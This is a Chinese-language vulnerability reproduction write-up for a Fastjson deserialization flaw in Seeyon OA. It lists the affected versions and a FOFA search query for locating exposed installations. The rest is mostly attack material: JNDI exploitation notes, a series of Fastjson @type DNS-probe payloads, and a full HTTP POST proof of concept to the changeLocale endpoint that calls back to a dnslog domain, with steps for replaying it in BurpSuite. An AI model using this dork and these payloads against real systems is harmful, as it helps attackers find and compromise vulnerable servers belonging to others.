0x01 影响范围
V7.1、V7.1SP1
V7.0、V7.0SP1、V7.0SP2、V7.0SP3
V6.1、V6.1SP1、V6.1SP2
V6.0、V6.0SP1
V5.6、V5.6SP1
0x02 漏洞搜索
搜索语法
FOFA："seeyon" && after="2021-05-01"
0x03 漏洞检测
Jndi影响范围：
1、rmi的利用方式：适用jdk版本：JDK 6u132、JDK 7u122、JDK 8u113之前
2、ldap的利用方式：适用jdk版本：JDK 11.0.1、8u191、7u201、6u211之前
区分FastJson与Jackson：
1）不闭合花括号看报错信息方法
2）减少参数方法
{"name":"S", "age":21}//Fastjson 是不会报错
{"name":"S", "age":21,"xxx":123}// Jackson 语法相对比较严格,会报错
3）fastjson报错关键词:
com.alibaba.fastjson.JSONException , 触发方式如下
{"x":"
["x":1]
{"x":{"@type":"java.lang.AutoCloseable"
DNS探测方法：
注意：Content-Type: application/json
# 未报错poc
{"x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}}
{"x":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}}
# 报错,但仍有效
{"x":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"x":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}]}
# 报错,且返回400,但仍有效
{"x":Set[{"@type":"java.net.URL","val":"http://dnslog"}}
{"x":{{"@type":"java.net.URL","val":"http://dnslog"}:0}
0x04 漏洞复现
1.使用dnslog验证漏洞, 打开http://www.dnslog.cn获取域名
漏洞POC
POST /seeyon/main.do?method=changeLocale HTTP/1.1
Host: xxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
_json_params={"@type":"java.net.Inet4Address","val":"qn94mq.dnslog.cn"}
3.将上面的代码放到BurpSuite中，然后设置好对应的HOST和端口。
查看dnslog 成功回显, 说明存在漏洞
image.png